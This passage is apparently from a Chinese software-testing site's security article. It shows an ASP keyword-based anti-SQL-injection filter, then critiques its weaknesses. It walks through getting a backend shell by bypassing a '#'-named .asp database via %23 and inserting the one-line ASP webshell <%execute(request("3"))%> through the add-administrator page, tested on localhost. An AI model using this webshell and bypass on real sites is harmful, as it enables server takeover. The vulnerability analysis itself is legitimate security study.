Fy_Inf = split(Fy_In,"枫") '--------POST部份------------------ If Request.Form<>"" Then For Each Fy_Post In Request.Form For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then '--------写入数据库----------头----- Fy_dbstr="DBQ="+server.mappath("sqlcool.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" Set Fy_db=Server.CreateObject("ADODB.CONNECTION") Fy_db.open Fy_dbstr Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')") Fy_db.close Set Fy_db = Nothing '--------写入数据库----------尾----- Response.Write "<Script Language=javascript>alert('核客SQL通用防注入系统提示↓ 请不要在参数中包含非法字符尝试注入! HTTP://kge.wyww.com 系统版本:(ASP)完美版');</Script>" Response.Write "非法操作!系统做了如下记录↓<br>" Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>" Response.Write "操作时间:"&Now&"<br>" Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>" Response.Write "提交方式:POST<br>" Response.Write "提交参数:"&Fy_Post&"<br>" Response.Write "提交数据:"&Request.Form(Fy_Post) Response.End End If Next Next End If '---------------------------------- '--------GET部份------------------- If Request.QueryString<>"" Then For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then '--------写入数据库----------头----- Fy_dbstr="DBQ="+server.mappath("sqlcool.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" Set Fy_db=Server.CreateObject("ADODB.CONNECTION") Fy_db.open Fy_dbstr Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')") Fy_db.close Set Fy_db = Nothing '--------写入数据库----------尾----- Response.Write "<Script Language=javascript>alert('核客eSQL通用防注入系统提示↓ 请不要在参数中包含非法字符尝试注入! HTTP://kge.wyww.com 系统版本:(ASP)完美版');</Script>" Response.Write "非法操作!系统做了如下记录↓<br>" Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>" Response.Write "操作时间:"&Now&"<br>" Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>" Response.Write "提交方式:GET<br>" Response.Write "提交参数:"&Fy_Get&"<br>" Response.Write "提交数据:"&Request.QueryString(Fy_Get) Response.End End If Next Next End If %> |
从代码可知,犯了大多数SQL防注入存在的问题,关键字过滤不严同时也没有对cookies做检查,到这里,这套程序可谓是漏洞百出了,其他的一些琐碎的文件我也不去细看了,这么多SQL injection直接给这套程序判死刑了。不过有点麻烦的是,这套系统后台非常简单,数据库是asp后缀的,虽然前面有#号,不过这个形同虚设,大家都知道在浏览器里#号可以转换为%23就可以成功绕过,下面我们就可以后台拿shell了,后台拿SHELL方法唯一的途径就是数据库插马了,我们在添加管理员页面添加我们的一句话木马<%execute(request("3"))%>,在本地测试,我就不做一句话为变形了,我们添加成功以后,我们的SHELL地址就是http://localhost/asp/%23senlonsuanming.asp 。注:把#改成%23这样我们的地址就不会被截断,如图:
……
查看全文请点击下载:http://www.51testing.com/html/39/n-234539.html
版权声明:51Testing软件测试网及相关内容提供者拥有51testing.com内容的全部版权,未经明确的书面许可,任何人或单位不得对本网站内容复制、转载或进行镜像,否则将追究法律责任。